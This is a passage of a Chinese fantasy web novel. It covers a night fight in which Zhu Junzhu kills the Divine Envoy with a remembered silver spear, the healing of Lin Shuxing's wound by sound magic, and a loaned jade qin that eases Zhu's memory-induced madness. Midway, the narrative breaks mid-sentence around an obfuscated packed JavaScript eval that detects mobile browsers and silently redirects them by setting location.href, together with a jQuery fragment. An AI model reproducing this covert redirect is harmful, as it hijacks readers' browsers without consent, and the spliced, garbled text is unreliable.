神使低笑:“问孩子?我倒可以告诉你。”
祝君竹眼神更冷,强撑着拉开半步距离。
“他们……”神使掌风逼面,腥甜扑鼻,“已经在路上了,我送你去见他们如何?”
祝君竹侧头避开,发丝被削断一缕。她心口一沉。
“就是你救了周文远罢?”神使忽然道,语气里带着讥,“可惜,他中了我的毒,活不了的!”
祝君竹瞳孔骤缩。他是在试探,他想知道周文远是否活下来了。
未及回话,廊道远处传来厉喝:“谁在那里?!”两道黑影疾掠而来,脚步轻利,杀气却实打实。
祝君竹的心沉到底,是神使的两名护卫。
她原本就是想趁神使夜晚落单动手,突袭一击,得手即刻返回。谁想先被神使发现,突袭又被轻易挡下,如今三人合围,几乎没有活路。
神使抬手,像丢了一句闲话:“拿下。”
护卫同时出刀,一左一右封住退路。刀势不花哨,却快得狠,一刀封喉,一刀断手。祝君竹左闪右躲,想从侧面突围。可护卫像早料到,刀锋横扫,把她逼回原地。
几个回合下来,祝君竹背贴廊柱,身上已多了几道血口,夜行衣被划破,血浸透布料,冷得发粘。
她强迫自己冷静,将掌心灵力骤然压缩,准备拼命炸开一线生路。却慢了半步,眼见神使一指逼近她喉间的刹那——一道剑光斜斩而来。
叮!
指尖阴寒被逼退半寸,护卫的刀也被那剑光格开,火星四溅。
祝君竹猛地抬眼。
林疏星站在廊道尽头,衣袍掀起一角,眼神冷得像夜霜。
他一步踏入,剑势如流水,直接插进合围的缝隙,把祝君竹护到身后。
神使眯眼:“原来是你。”
林疏星淡淡:“是我。”
护卫再次扑上前来。林疏星剑光一转,挡左刀,再回身挡右刃,动作快、准、狠。可两名护卫刀法凶悍,每一刀都带着要命的力,压得他剑势稍慢。
祝君竹喘息着想从侧翼补位,神使却再次缠来,把她逼退。
神使在两名护卫协助下打的像猫戏老鼠,口中戏谑道:“今夜你们就要死在江阳,做一对亡命鸳鸯!”
三人抢攻之下,林疏星还需分神照顾祝君竹,刚挡下一刀,另一刀从刁钻角度斩向他腹侧。
祝君竹心口一紧,提醒已然来不及——噗!刀刃入肉。
林疏星腹部血溅出一串,衣摆瞬间湿透。他闷哼一声,身形却没乱,反借疼痛强行反斩,逼退护卫半步。
一名护卫趁机一刀斩向林疏星后心,夹着寒冰似的血腥味。
祝君竹一见此景,脑中瞬间一片空白,竟一时动弹不得!电光火石之间,一道水蓝光影从侧后破空而来,一条蛟尾正抽中那护卫背脊。
砰!
护卫横飞撞柱,骨裂声清晰。下一瞬,水蓝光影化刃,贯穿他咽喉。那护卫瞬间毙命。
敖清澜站在阴影里,手指微收,水刃回到掌心,像一片细鳞。他的神色仍稳,却比平日冷了太多。
神使脸色终于变了。如今形势逆转,他不再纠缠,转身就逃。
祝君竹没有犹豫,抬脚便要追去。
“等等!”林疏星低喝,声音哑得厉害。
祝君竹像没听见。
神使若逃了,孩子的去处就永远问不出,神使若逃了,今晚的一切就只会换来更大的围剿。
林疏星强撑着腹部伤势,一把抓住她袖子:“等等!”
祝君竹回头,那眼神里没有退让,只有决绝:“快放手,不能让他走掉!”
正在林疏星拦她的瞬间,神使已回身,像等的就是这一刻。
殷红的手掌凝成血刃,直劈林疏星咽喉。这一切都发生的太快。
林疏星受伤,剑势刚起便被压下。
祝君竹瞳孔骤缩,适才的那片空白再次来袭,胸腔里那股积压的怒、痛、恨、悔——连同她在须尘界的挣扎、在玉京山窥见的“规则”、在江阳见过的血与哭——在这一瞬猛地撞到一起。
她脑中“咔”的一声,像是一道门被撞开一个大口子。
那一瞬间,月光、海潮、银鳞、枪杆、握枪的手和某个被唤过的名字,这一切如潮水般涌来。
“浅月……”
她的呼吸骤停,手不受控制的瞬间抬起,五指一张。
银光在虚空炸开,像真实金属光泽,在闪烁间凝聚成形——是一柄长枪。
那枪身银白,枪头如月牙,寒芒四溢,枪杆鳞纹流转,像活物映月。
银鳞月芒枪!敖清澜的瞳孔猛地一缩。他脸上那层平淡在一瞬间碎裂,露出一种复杂到几乎失控的情绪——悲伤、喜悦、犹豫、克制交织,像潮水拍岸,却被他硬生生压回去。
林疏星腹部血还在滴,眼神却像被那枪钉住,沉得骇人。
神使被枪尖逼退,更是脸色大变,恐惧第一次真正爬上眼底:“你……那是——”
祝君竹没有给他把话说完的机会,她一步踏前,枪出如月落。没有花哨,没有试探,枪尖快如闪电的贯穿了神使心口。
噗——
血从背后喷出,黑得发腥。
神使僵在原地,眼睛瞪大到几乎裂开。他低头看胸口那枪,像不敢信。嘴唇哆嗦着吐出几个字:“是你……你是江……果然……”
话未说完,他喉间猛地涌出一道红光。
红光如血箭,激射而出,穿破瓦檐,直奔北方天际。快得像血色流星。
祝君竹见那红光向北而去心口骤沉,这必然是传讯的法门。红光一闪就没入云层,消失得干干净净。她来不及追。
神使这才软下去,沿枪杆滑落,血在地上铺开一片。祝君竹握枪的手却微微发抖。并非是因恐惧,而是她脑中的碎片还在翻滚。江浅月的记忆像潮水退去,又像潮水拍回,留下湿冷的余韵,让她一瞬间头痛欲裂。
那枪在她掌心一震,化作一道银光没入掌心,仿佛从未出现过。她手心却残留着那种熟悉的冰凉触感——像握过千百次。
敖清澜盯着她的手,喉结滚动了一下,似乎想说什么,最终只吐出一个极轻的音:“……月。”
后半句被他咬碎吞回去。
林疏星扫了一眼敖清澜,眼底掠过一丝极冷的审视,却没有多问——现在不是问的时候。
“快走。”林疏星声音发哑,“那红光会引人来。”
祝君竹猛地回神,咬牙点头。
她看了一眼护卫逃走的方向,红光,与逃走的那一个,怕都是祸害。
三人迅速撤离。他们仍从墙角缝隙挤出,落入江边雾中。
祝君竹取出珊瑚钢,灵力一激,板子无声悬起。她先扶林疏星踩上去——他脚步虚浮,腹部血还在渗,衣摆湿得发黑,怕是骑不得蛟了。祝君竹扶他腰侧时,能感到他身体一瞬僵硬,随即又强迫自己放松。
敖清澜则跳入江中,一条长长的蛟潜入水底深处。
板子贴水疾驰,向江平水域而去。
雾更浓,乌云更低,江面像一张黑布。祝君竹压低高度,离水不过一尺,神魂精细调控板子倾斜与推进。她脑中却一直绕着那道红光。
北方。天都方向。
她不敢深想,只觉胸口被一只冷手按住,越按越沉。
青蛟号终于在雾里浮出。
官船灯火仍在不远处游弋,像两点冷眼。
敖清澜在水中行进极快,早到了船舷边。抬手处,一层水雾无声铺开,像薄纱罩住他们,把身形与雾色揉成一团。祝君竹趁机贴着船腹滑回原处。
她先把林疏星送入舷窗。
林疏星捂着腹部,兀自淌血。祝君竹抿唇,把他半扶半推送进舱内,随后自己翻入。敖清澜变回人形,最后无声落地,像从未离开过。
舱内灯火微弱。
清音原本蜷在角落,听见动静猛地抬头,看到祝君竹回来,眼泪瞬间涌出来:“小姐!”
下一瞬,她看见林疏星腹部的血,脸色刷地白了:“公子!你、你受伤了!”
林疏星抬手,示意她噤声:“小声。”
清音咬住嘴,眼泪掉得更凶,却不敢哭出声,手忙脚乱翻药包,布条一圈圈缠上去,手抖得厉害。
祝君竹站在一旁,胸口仍在起伏。她想说点什么——对林疏星,对敖清澜,对自己——可那些话滚到舌尖,又都被她咬碎吞下去。
她的目光落在自己掌心,那里空无一物。可她分明还感觉得到——那枪的重量,那枪的冰冷,那枪的熟悉。还有一个名字,在她脑中像刚醒的种子,湿冷地发芽。
江浅月。
林疏星靠在床沿,脸色苍白,目光沉沉落在祝君竹身上。他看见她眼底那一瞬恍惚,也看见敖清澜站在阴影里,脸上的克制像随时会裂开。
祝君竹忽然开口:“那红光……你们看见了吗?”
敖清澜“嗯”了一声。
林疏星睁眼,眼底暗沉:“传讯。北上。”
众人再次陷入了沉默。
18. 第十七回 析信释嫌琴抚痛
舱内灯火微弱。
林疏星吃了止血丹,不甚有效。敷了药,却被血冲开。
清音缠到最后一圈布条时,手指已经麻了。她咬着唇,把结扎得更紧一点,怕松,怕血又涌出来。可越扎越紧,那血还是从布条边缘一点点浸出来,像墨渗进宣纸,慢慢晕开。
林疏星靠在床沿,唇色发白,额角冷汗一层层冒。腹部那一刀并不在要害,却深,划得狠,血口子像一条暗红的缝,硬生生把他身上那点稳压出了裂痕。
他没有喊疼,也没有皱眉,只是偶尔吸一口气,吸得很轻很短,像怕发出声音。
祝君竹站在一旁,背靠舱壁。她的目光落在那布条上,又被那血刺得微微一滞,随即移开,移到床脚,移到地面,最后又回到自己的掌心,空空如也。
可她总觉得那里还残留着什么,冰凉的重量,锋利的触感,像月光一样冷的,银枪。
她不敢去抓住那个念头。越抓,碎片越来越像潮水扑面,能把人淹死。她越又想抓住那个念头,那是江浅月毕生修为的战力,若是能为己用,至少不会再出现今晚的险情。
清音低声道:“公子,这刀口太深了……光靠包扎止不住。”
林疏星抬眼,眼神仍沉,却多了点疲惫:“你想如何?”
清音咽了口唾沫,像下了很大的决心:“我给你缝。”
祝君竹的目光一动。
“缝?”她开口,声音很轻,像怕惊动什么。
清音点头,眼睛红着,却努力稳住:“用‘五音罗织’……我学得不精,但能用。以灵力为针线,用音符作引,缝合皮肉经络……只要缝住,血就能止,伤也能缓。”
她说到最后,声音有点发抖。
祝君竹看着她,心口一阵发紧。清音的修为浅,这秘法对她来说太耗。可她没有退。她只是抬头看着林疏星,像在等他一句“可以”。
林疏星沉默片刻,道:“隔音阵。”
清音一愣,随即明白,赶紧点头:“对,得先布隔音阵……不然我一出声,外头那两艘官船听见动静——”
林疏星抬手,指尖灵光一闪。四面杏黄阵旗落在屋角,符纹一亮,随后就像被水淹没,声音被隔得干干净净。
屋里只剩烛火噼啪,和三个人各自压着的呼吸。
清音跪到床边,把药包、净布等用具一一摆开。她闭上眼,先调息。
祝君竹看着她,脑子里忽的映出很久以前的画面——清音还是个小丫头时,抱着琴躲在廊下偷偷弹,一弹错就吓得缩脖子。那时候她声音软,眼神也软,像一团绒。如今那团绒被江阳的血浸过,被官船的喝令压过,被夜里的刀光逼过,竟也硬起来了。
清音睁眼,手指轻轻按在林疏星腹侧两寸处。
“公子,你忍一忍。”她低声道。
林疏星“嗯”了一声,眼睫垂下,像把所有疼都压进了那一声里。
清音开口。
第一声出来时极轻,像风拂过琴弦。那声音落在空气里,却不是散开的,而是凝成一缕细线,银白,微颤。它贴着她指尖走,钻入伤口边缘,像一根极细的针。
祝君竹屏住呼吸。
她第一次见到五音秘法的形态。它不是光团,不是火焰,而是一缕缕细得几乎看不见的线,靠声音生,靠意念牵,像织网。
清音的第二声更高一点,第三声更低一点,四声起落像在编织。每一声出来,那银白的“线”就多一股韧,多一点黏,绕住皮肉,牵住断裂的边。
那不是单纯缝皮。
她是在把“伤”本身重新编回“完整”。
林疏星额角的汗更密了。
他握紧床沿,指节泛白,喉结滚动,却仍没有发出一声。
清音的脸色开始发白。
她的唇在颤,声音却越来越稳。她像把自己整个人都压进了这套秘法里——灵力从丹田抽出来,顺着喉间奔涌,再被她用极细的控制压成“针线”。
一针一针。
一声一声。
祝君竹看得心里发凉。
她忽然明白,自己昨夜若死在圣殿,清音会怎样。
清音大概会哭,会疯,会把自己也搭进去——可她也许连搭进去的资格都没有。因为她太弱,弱到连“拼命”都未必能换来什么。
“小姐……”清音忽然低低唤了一声,声音发飘。
祝君竹猛地回神:“我在。”
清音没抬头,像在咬牙撑:“帮我……扶住他,别让他动。”
祝君竹上前一步,伸手按住林疏星肩背。她的掌心触到他衣料下的骨与肌,才发现他背脊也在绷,像一把拉满的弓。
林疏星睁眼看了她一下。
那一眼极短,却藏着一种压得很深的疲惫与克制。
祝君竹的指尖微微一紧,却没有说话。
清音的第五声、第六声、第七声,一声比一声沉。那银线开始收拢,缠绕,打结。伤口边缘被一点点牵合,血不再那样汹涌地涌出来,而是被线束住,被音压住,像被无形的手捂住。
可清音的呼吸越来越急。
她的肩在抖,额角也出了汗,汗珠顺着下巴滴下去,砸在布条上,晕出一点湿印。声音也已经有些哑,像嗓子被扯出血。
林疏星忽然开口,声音很低:“清音,够了。”
清音却咬牙摇头:“还差一点……不缝到底,容易崩。”
她把最后三声压得更细更长。那银线终于在伤口最深处打了一个结,轻轻一收——伤口应声合住。
祝君竹为他敷了药,包扎起来,血终于止住。
屋里一瞬间安静得可怕。
清音张着嘴,像要再发声,却发不出。她喉间一涩,猛地咳了一下,咳出一口淡红。
祝君竹脸色一变:“清音!”
清音抬手摆了摆,努力笑了一下,笑得很虚:“没事……灵力抽得急了……缓一缓就好。”
她说完,整个人往后一倒,差点栽下去。祝君竹赶紧扶住她,才发现她手冷得像冰。
林疏星也靠回去,闭上眼,呼吸仍沉,却终于不再那样短促。他的腹部被细细缝合,布条下不再渗血,只剩一条浅浅的热。
隔音阵里,烛火摇了一下,像也松了口气。
祝君竹把清音扶到旁边坐下,给她喂了两口温水。清音喝完,眼圈更红,却努力眨眼把泪逼回去。
“小姐……”她小声道,“我是不是……有用一点了?”
祝君竹喉间一紧,半晌才“嗯”了一声:“清音有大用,你即便没用也是我最好的姐妹!”
清音听了,肩终于松下来,却泪如雨下,像卸下了什么千斤重的包袱。祝君竹闭了闭眼,手中轻轻拍着清音的后背。
隔音阵内,四个人都沉默了一会儿。沉默里有火,有冰,也有一种说不清的疲惫,像船腹下那一层层水声,揉搓不止。
忽然,船舱的木板传来轻微的震动,似乎有人登船。
祝君竹猛地抬头。
清音也竖起耳朵。
林疏星抬手,指尖一弹,隔音阵开了一道极细的“口”,让外头的声音能漏进一线。
是官兵的声音,压得低,却带着那种不耐烦的官腔:“明日辰时放行。今晚就别折腾了。”
金鳞的声音立刻赔笑,连连称是:“多谢官爷,多谢官爷!小的记下了,记下了!这点心意还请您收下。”
又听见有人骂了一句脏话,随后是靴底踏板的咚咚声,越来越远。
再然后,是官船起航的水声。
那两点灯火在雾里晃了晃,竟真的慢慢离开了青蛟号旁边,朝南驶去。像两只盯了半夜的鳄鱼忽然闻到更大的血腥,掉头就走。
舱内四人同时松了口气,像胸口那块石终于落了一点。
清音小声道:“他们走了?……真的走了。”
祝君竹低声道:“他们是去江阳?”
林疏星“嗯”了一声。
隔音阵重新合上,屋里恢复安静。只有烛火轻轻跳,像在提醒:今夜的事并未完,只是换了一个方向。
林疏星望向祝君竹,声音仍低:“坐罢。”
祝君竹抱着清音没动,她看着怀中虚弱的清音与林疏星腹部那圈布条,声音比刚才更哑:“……是我。”
清音一愣。
林疏星也没应。
祝君竹继续道:“若非我擅自去江阳……你不会受这刀,清音也不会……”
她说得很平静,平静得像在陈述事实。可她指尖在袖里绷得发白。
林疏星看着她,眼神沉了沉:“你杀了神使,不管是那些孩子,还是现在的我们,都该谢你。”
祝君竹却像没听见,只道:“我本该听你的,不该这样鲁莽。”
林疏星沉默了几息,缓缓道:“你若听我之言,官船怕是不会走。”
祝君竹微微一滞,抬起眼来,眼中蒙起一层柔和:“可……”她顿了顿,嗓子像被砂磨了一下, “红光北去。神使有上峰。我们……招惹的,可能远不止一个真灵教。”
林疏星没有否认,他看向了一直站在阴影里的敖清澜。
敖清澜从头到尾都没多说一句。此刻才缓缓开口,声音温和,却带着一种不属于人间的冷静。
“林姑娘,我听过一桩说法。”
祝君竹抬眼看他。
敖清澜道:“玄心监有一种简易的报信阵。用于低阶的玄心卫身上,阵纹不复杂,却阴毒。刻在人的心脏上,一旦心脏停跳,阵纹就会以最后一口心血为引,发出一道讯息。”
祝君竹的指尖微微一紧。
“讯息传得远,快。却不能传递具体的文字信息。”敖清澜继续道,“只是一种‘示警’的法门”
清音睁大眼:“那……那神使身上怎么会有玄心监的阵?”
敖清澜微微摇头:“这就不得而知了。真灵教背后显然有官吏,牵出玄心监,也并不奇怪。玄影、玄心、玄策三监,内部势力本就复杂,官员更是良莠不齐。他们又是仙帝直属,行监察之能,权力一大,有些见不得人的勾当,在正常不过。”
众人再次陷入沉默。
林疏星看了敖清澜一眼,没作声。
若红光只是“预警”,那他们至少暂时不会被精准锁死。可“暂时”这两个字,从来不让人安心。
敖清澜看着她,声音更轻一点:“林姑娘,你方才自责……我能理解。可你若不杀神使,今夜官船便不会走。若官船不走,我们不也一样寸步难行?”
他说得不急不缓,却句句落在要害。
祝君竹低头,看着自己的手,掌心微微发凉。
她想起那一枪。想起神使惊恐的眼,想起他临死前那句“是你!你是江——”。他显然认识江浅月。
敖清澜忽然转了话锋,语气仍温:“还有一事。”
林疏星抬眼。
敖清澜道:“今晚之后,我想把话说明。”
他看向林疏星,再看向祝君竹:“我与林兄……已达成共识。”
祝君竹眉心微动,看向林疏星,林点了点头。
敖清澜继续道:“不互相打听身份,不追问来历。”
清音一愣,眨了眨眼。
敖清澜淡淡道:“你们是谁,有何目的,我不问。你们也不必问我。我们同行,是因为路在一处。”
他顿了顿,声音更低:“我去天都,也有要事要办。到时……可能还需仰仗诸位帮忙。”
祝君竹抬眼看他。
敖清澜的眼神很稳,稳得像深海。那稳健中藏着一点东西,像海底的暗流。
林疏星看着敖清澜,眼底掠过一丝极淡的审视。
那审视不是敌意,更像是一种欣赏,欣赏敖清澜此人。
片刻后,祝君竹缓缓道:“好。”
敖清澜点头:“既如此,我们当真是‘同坐一条船’。”
清音在旁边听这两个人这些日子以来像在下棋,每一步都稳,却每一步都留后手。她能感觉到,他们把某个“彼此都不愿说破”的东西暂时按住了。
夜更深了。
敖清澜回房去了。
官船的灯火彻底远去,江面只剩青蛟号自身的灯,像一盏孤灯浮在雾里。
祝君竹压在心里那块巨石,似乎松了一点。
她抬起手,摊开掌心,掌心空空。那种银枪在手的熟悉感与安全感,让她的内心自动去追寻着。她知道,这枪在她脑海某个角落,再次掀起了波澜。
“对了,那把枪……是怎么回事?”祝君竹缓缓的问林疏星。
“那是江浅月的独门武器,银鳞月芒枪!”林疏星低声回答。
这枪的名字一入耳,祝君竹眼前一黑,掌心猛地攥紧。一阵尖锐的痛猛地从太阳穴炸开,像有人用锥子硬生生扎进去。她脑中碎影翻涌——月光、银鳞、枪声、有人在唤她“浅月”,又有人在笑,笑得很远,却有些冷。
她咬住牙,强忍着未出声,额角的冷汗却沿着鬓角滑下。
清音一惊:“小姐!”
祝君竹抬手扶着清音站稳:“不妨事。”
林疏星也步履阑珊的回了房,清音把凌乱的房间打扫了一番。
祝君竹躺在床上,头兀自在痛。
一夜无眠。
次日辰时。
江平水域的雾散了一点,青蛟号准时启航。
阳光从云缝里漏下来,落在船头,像给这条船披上一层薄金。金鳞站在甲板上,脸上堆着笑,笑里却全是后怕。
祝君竹在甲板上透了透气,回到玄字房,盘膝坐下。
既然睡不着,不如修炼,但头痛不停的折磨她,令她难以集中心神,各种各样的画面在脑海中闪现,有感觉熟悉的也有陌生的。
她看见海。看见雪。看见一座府邸在火里烧。看见一名女子穿着绣金的锦衣,抱着一把白玉琴,坐在灯下,眉眼间尽是温柔与疼爱。
那女子抬头唤她:“月儿。”
祝君竹猛地睁眼,心跳如鼓。
屋里很暗,只有一点残烛。清音趴在桌上睡着,呼吸细细的。林疏星那边没有动静,只能听见隔壁舱房偶尔传来一声轻咳。
祝君竹抬手按住太阳穴。指尖冰凉。
她忽然有点害怕,怕自己再撑下去,会把自己撑裂。怕有一天她睁眼,醒来的不再是祝君竹,而是江浅月。祝君竹便自此消失。
她不想被夺走。
她更不想变成别人。
可那枪……却不是假的,她杀了神使,救了林疏星,那不是梦。
“那是她的手,还是我的手?”
她不知道自己究竟在害怕什么,是害怕“觉醒”带来的力量,还是害怕“觉醒”带来的代价。
接下来的两日,林疏星腹部受伤未愈,甚少走出房门。而敖清澜继续为她用潮音贝疗愈,只是收效却甚微。
祝君竹连续数日难以入眠,精神极差。她饮食渐少,终日昏昏沉沉。
清音看在眼里,焦急难安。
第六日夜里,祝君竹已躺在床上难以起身,眼前耳畔,尽是幻视幻听。她不自觉的似是与人对话,时不时的笑、哭。像是失心疯了一般。
“林姑娘。”敖清澜的声音从外头传来,温而稳,“我能进来吗?”
祝君竹仍是自顾自的哭、笑,自言自语。清音听到敖清澜是声音,起身开了门。
敖清澜进来一眼就看见祝君竹脸色惨白,额角冷汗,眼底青得厉害。
清音满脸泪痕,哭得无声:“潮音贝无效,小姐又不让我去找公子,说怕打扰他疗伤。刚才开始便好像失心疯一般,敖先生,这可如何是好。”
敖清澜没有立刻说话。
他走到桌边,从芥子袋里取出一只长匣。
匣子是白玉,玉色冷润,表面浮着淡淡云纹,像天上九霄的霜凝在其上。匣扣一开,一张琴躺在里头。
琴身通白,玉质细腻,弦如银丝。灯光落上去,像落在雪上,一点都不刺,却冷得干净。
清音呆住:“这……这是琴?”
敖清澜“嗯”了一声:“九霄白玉琴。”
他把琴取出来,放到桌上,声音仍温:“清音姑娘的五音秘法,既能缝伤,也能安神。若用寻常木琴,音不稳,灵韵不够,反倒耗你更多。”
清音的眼中写满了震惊:“九霄白玉琴?!” 这琴怎会在敖清澜的手中?她此时却无暇思考太多,怔怔道:“你……你要把这琴给我?”
敖清澜点头:“借你。”
他说“借”,说得很轻,却像把一件极重的东西放下来。
清音手足无措:“可……可是这太贵重了……我哪敢——”
敖清澜看她一眼:“你敢缝林公子的伤,就能弹这琴。”
清音的眼泪又涌出来,这琴给她的记忆,是慈母般无比温暖的。她抬手去摸琴身,指尖刚触到那白玉,竟像触到一层温润的水。她闭目,神魂中一缕意念随着指尖在琴上拂过,发觉琴中有琴灵,像深海的静。
敖清澜坐到一旁,抬手拨了一下弦。
只一声。那音极清,像月光落水。屋里那点乱,那哭,那笑,那些不知是对谁说的呢喃之语,竟被这声轻轻压住。
祝君竹的呼吸一滞。
她忽然觉得,自己脑中那头记忆的猛兽像被安抚了一下,少了一些暴戾。
敖清澜道:“清音姑娘,试‘安魂调’。”
清音吸了吸鼻子,用力的点了一下头,坐到琴前。她手指有点抖,但还是落指拨动了琴弦。
第一声弹奏出来,琴音更柔,如温暖的暮时辉光,静静的倾泻而出,挥洒在身上。
一张柔软的音网,慢慢铺开,铺在舱内每一个角落。音丝像水,流过耳侧,流过胸口,流过太阳穴,把那些尖锐一点点磨钝。
敖清澜也抬手,取出了潮音贝。他用极细的水性灵韵在音里添了一点潮,一点润,让清音的音不至于太过损耗灵力,让那曲子更稳。
两人一合,屋里像起了一层薄雾。
那雾不是江上的湿雾,是能把人心里那点乱盖住的雾。
祝君竹终于安静下来,眼皮也终于慢慢沉下来。
她已经太久没睡了。
她听见清音的琴声里有一段轻轻的起伏,像潮水拍岸,又像母亲拍婴儿的背。她忽然想起自己很小很小的时候,躺在床上,母亲的手在她背上轻轻拍——那记忆很远,却在这琴声里清晰得可怕。
她的眼角不知何时湿了。
她没来得及擦,便沉入黑暗。这一眠很沉,沉得像跌进深海。深海里不再有暴虐的记忆猛兽,只有暖暖的静,静得干净。
祝君竹终于睡着了。
清音弹到祝君竹呼吸平稳,才慢慢停手。她的手指酸得发麻,灵力也耗了不少,却比缝伤时轻得多。她抬眼看敖清澜,眼里满是感激,又有一点说不清的疑惑。
“敖先生……”她小声道,“这琴……怎么会在你手里?”
敖清澜看着琴身,目光在白玉云纹上停了一瞬,那一瞬像海面下的暗潮翻了一下,又压回去。
他淡淡道:“故人所赠。”
清音追问:“什么故人?”
敖清澜抬眼,声音仍温,却多了一点不容追问的平静:“故人之友,托我保管。”
清音怔住。
定岳王妃喜音律,当年府中藏琴无数,其中最珍贵的一张,便是九霄白玉琴。那琴不是凡物,是王妃年轻时在北海所得,后来一直珍藏,直至定岳王府覆灭。
这琴若真是那张……它怎么会在敖清澜手里?
清音的心口猛地一跳。她抬眼看敖清澜。他那带着鳞片的侧脸在烛光映的得像一块玉,那玉里似乎藏着旧事。
清音忽然觉得自己嗓子发紧。
她不敢再问。
敖清澜似乎察觉到她的目光,轻轻道:“清音姑娘。”
清音一颤:“啊?”
敖清澜道:“你守好林姑娘。她睡得不易。”
清音连忙点头:“我会的。”
敖清澜站起身,把琴匣轻轻合上,却没有收回,只把匣子推到清音手边:“留着。”
说完,他转身出去。
门合上时,风从缝里钻进来一丝,带着江水的凉。清音抱着琴匣,手指轻轻抚过匣面云纹,心里却翻江倒海。
故人之友?
托他保管?
这话太轻了,轻得像一层纱。可她却隐隐觉得,那纱背后,是一整座山的旧事。
清音低头看祝君竹。
祝君竹睡着了,眉头终于松开一点,唇角也不再那样紧。她像终于从那条绷紧的弦上落下来,落到一个能喘气的地方。
清音轻轻替她掖好被角。
然后,她看向隔壁舱房的方向。
林疏星那边很安静。
可她知道他没睡。自从江阳回来,他就睡得很浅,像在守着什么。只是他对小姐的情况束手无策罢了。
清音抱着琴匣坐在床边,眼睛睁着,直到烛火烧到最短,天色微微发白。
她越看那九霄白玉琴,越觉得熟。她在王府时,曾见过王妃弹琴。如今她手里的琴,白玉云纹,银丝弦,与那琴很像,琴声也很像。
敖清澜……到底是谁?
他为什么要去天都?
他口中的“要事”,是什么?
北方。
天都。
那座清音原本无比熟悉的都城现在忽然变得陌生。
她不明白,也并不想明白。只要小姐无恙,现在多了一个公子也无恙,对她来讲,已经够了。
祝君竹醒来时,已经是午后。
窗外江光斜斜照进来,落在舱壁上,像一条淡金的线。她一瞬间有些恍惚——她竟真的睡着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998683|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,而且睡得这么沉。
她抬手按了按太阳穴。
痛虽然还在,但像被磨钝了一点,变成一种沉沉的闷痛。记忆不在暴虐,精神也恢复了许多。
清音趴在床边睡着了,眼角还挂着干掉的泪痕。琴匣靠在一旁,白玉光润,像月光落在木板上。
祝君竹的目光在琴匣上停了一瞬,心口微微一动。
她轻轻推醒清音:“清音。”
清音猛地抬头,眼睛红着,先看她脸色:“小姐你……你还疼吗?”
祝君竹摇头:“好多了。”
清音一下子松了口气,眼泪又差点掉下来:“太好了……昨夜我吓死了。”
祝君竹伸手摸了摸她的头,动作比平时更轻:“辛苦你了。”
清音愣了一下,随即用力摇头:“不辛苦!只要小姐没事就好。”
祝君竹看向琴匣:“那琴……”
清音抿唇,低声道:“敖先生给的。说借我用。”
祝君竹眼神微动,却没多问。她掀开被子下床,走到窗边。
江面上船行平稳,水声仍是那种揉搓似的声音,可今日听起来没那么刺耳。
她低声道:“林公子呢?”
清音道:“在隔壁。他伤口不再流血,可还是很虚。早上起来喝了点粥,又坐了一会儿。”
祝君竹点头。
她走到舱门口,停了一瞬,手指搭在门板上,却没有立刻推开。
她不知道自己该用什么样的态度去面对林疏星。
她深吸一口气,推门出去。
隔壁舱房里,林疏星坐在桌边,手里握着一盏茶。茶没喝,像只是用来暖手。他抬眼看她,目光沉沉,却没有昨日那样冷。
“醒了?”他道。
祝君竹“嗯”了一声,走过去,站在桌旁。
沉默一息。
“你的伤可好些了?”祝君竹问
“多亏清音缝合相救,前日已经谢过她。这两日用了些伤药,恢复的很快。”
二人再次沉默了一息。
祝君竹再次开口:“那晚……也多亏你来得及时。”
林疏星淡淡道:“我若不去,你会死。”
祝君竹的指尖微微一缩。
林疏星看着她,声音缓了半分:“你也救了我。”
祝君竹抿唇,低声道:“那不是我……或者说,不全是我。”
林疏星微微皱眉,看着她的眼睛,缓缓道:“不管是谁,至少那天握枪的那只手,是你的。”
祝君竹呼吸一滞,她忽然觉得胸口那块堵着的钝闷,被这话轻轻疏导开了一些。
林疏星又道:“你那天说的也不错,你想用‘变数’破局,做到了。”
祝君竹低声道:“但也可能引来更大的麻烦。”
林疏星看着她:“麻烦本就早晚要来。我们一路北上,不可能永远躲。”
他顿了顿,声音更低:“但以后……别再一个人去。”
祝君竹抬眼。
林疏星的眼神很沉,沉里有一种压着的东西,像忍了很久才说出口:“你若真想做的事,可以。可至少……别让我在后面……罢了……都过去了。”
祝君竹喉间一紧。她想说“你当初不也把我打晕关起来”,想说“你在替我做决定”。可她忽然说不出口了。
最终,她低声道:“……好。”
林疏星看着她,似乎想再说什么,最终只轻轻点头。
船继续北上,日子一天天平淡的过去。
祝君竹的头痛并未消失,只是被琴声削弱了许多。她白日已经能照常修炼、推演阵法、整理思路。
清音于是每日黄昏都会把九霄白玉琴取出来。
她弹得越来越稳,灵力也越来越强,对五音秘法的理解也越来越深。但日复一日,耗的也是灵力。她每次弹完,都要靠着桌角喘气,额角出汗。
敖清澜偶尔会来,坐在一旁,轻轻拨一两声,帮她压住某些飘浮的音。两人不多说话,却能在音里配合得极好,像早就合过无数次。某日夜里,他忽然把一只小瓷瓶放到清音手边。
“这是海息丹。”他道,“补灵,缓神。你弹琴前服一粒,别把自己耗干。”
清音连连道谢。
祝君竹也抬眼看敖清澜:“敖兄……多谢。”
敖清澜微微一笑:“林姑娘客气。”
祝君竹有时候闭着眼听琴,心里会冒出一个荒唐的念头。这琴声像王府里的风,像某个很久很久以前的夜。可她不敢去求证,她只能让自己像一块石,躺在琴音里,被水冲,被水磨,慢慢沉下去,换一晚安睡。
一日清晨,祝君竹如常走上甲板,吹着江风。
金鳞迎面走来,满面堆笑。
“林姑娘早,这些日子可歇的安稳些了?”
祝君竹颔首还礼,“嗯,好多了,多谢金老板挂念。”
“哪里,这一路上你们可没少帮我的忙。这再过几日,便要到天瀑峡了。过了天瀑峡,天都近在咫尺。届时我在天都青云楼设宴,请林姑娘与令兄以及敖乐师务必赏光。”金鳞一说到天都近在眼前,满脸都是喜色。
“金老板太客气了,我们该多谢金老板一路关照才是。”
祝君竹与他寒暄了几句,托辞头痛,回了船舱。
清音见小姐回来的早了些,问她是不是又头痛。
